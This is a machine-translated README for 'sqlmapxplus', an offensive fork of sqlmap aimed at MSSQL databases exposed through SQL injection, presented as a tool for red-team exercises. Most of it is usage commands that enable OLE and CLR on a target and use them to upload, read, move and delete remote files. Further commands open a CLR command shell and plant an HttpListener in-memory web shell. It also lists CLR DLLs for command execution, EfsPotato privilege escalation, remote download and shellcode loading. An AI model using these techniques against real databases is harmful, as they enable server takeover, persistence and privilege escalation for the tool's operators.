Em muitos exercícios regionais de ataque e defesa, a injeção de pilha de banco de dados do SQL Server ainda apresenta uma alta frequência de explosão de furos. No entanto, devido a algumas restrições comuns em cenários de exercício, como falta de acesso à rede, permissões baixas, separação de site e banco de dados, proteção de terminal, dificuldade. ao ficar online, a manutenção de permissões é complicada e apenas um --os-shell não pode mais atender às nossas necessidades.
sqlmapxplus é baseado em sqlmap, reabrindo a ferramenta clássica de exploração de vulnerabilidades de banco de dados, referindo-se a várias soluções e adicionando métodos de utilização de injeção de banco de dados MSSQL. Atualmente, parte do segundo desenvolvimento foi concluída, incluindo upload de arquivo de ole e função de carregamento automatizado de shellcode.
Instruções de atualização 20240508 : Função recém-adicionada de abertura de OLE, nova função de leitura de arquivos especificados, nova função de movimentação de arquivos especificados, nova função de cópia de arquivos especificados, nova função de exclusão de arquivos especificados, nova função de determinação da localização de arquivos especificados, novo função de armazenamento Função de consulta de processo, nova função de exclusão de processo armazenado, modificar método de upload ole, modificar processo de instalação clr, modificar método de execução de comando clr, remover erros causados por comentários chineses
Visando o problema de falha na instalação do clr causada pela perda de transmissão da dll durante o processo de rede real (solução temporária), descobriu-se que a dll clr usada na função --install-clr original é muito grande e um grande número de injeções são frequentemente necessário em combate real. Se o processo de injeção Um determinado erro fará com que a dll falhe na implementação e a dll não possa ser inserida com êxito. O processo original de instalação automática com um clique agora foi removido e modificado para permitir que o usuário personalize o. instalação dll com base na situação de destino real e adicionar temporariamente --check- A opção de arquivo determina se o arquivo dll foi colocado com sucesso no host de destino. Adicione temporariamente --check-clr para determinar se a função definida pelo usuário foi carregada com sucesso. o banco de dados.
Por que ocorre o problema de amplificação de dll durante o processo de upload. Converter para hexadecimal e depois restaurar faz com que o arquivo aumente. Por exemplo, a letra A será convertida para 41 em hexadecimal, dobrando o tamanho.
Problemas com a personalização do clr (concluído) install-clr é modificado para exigir a especificação do caminho clr.dll personalizado Insira o nome da classe definido pelo usuário na caixa de prompt e o nome do método definido pelo usuário modo clr_shell. no modo clr_shell é modificado para: Função definida pelo usuário passa em parâmetros (concluído)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
sobre ole :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
outras funções:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
sobre clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
Conta pública: Guerra Cibernética
Knowledge Planet: Guia de testes de penetração
Link de referência para a versão antiga: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
Link de referência para a nova versão: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/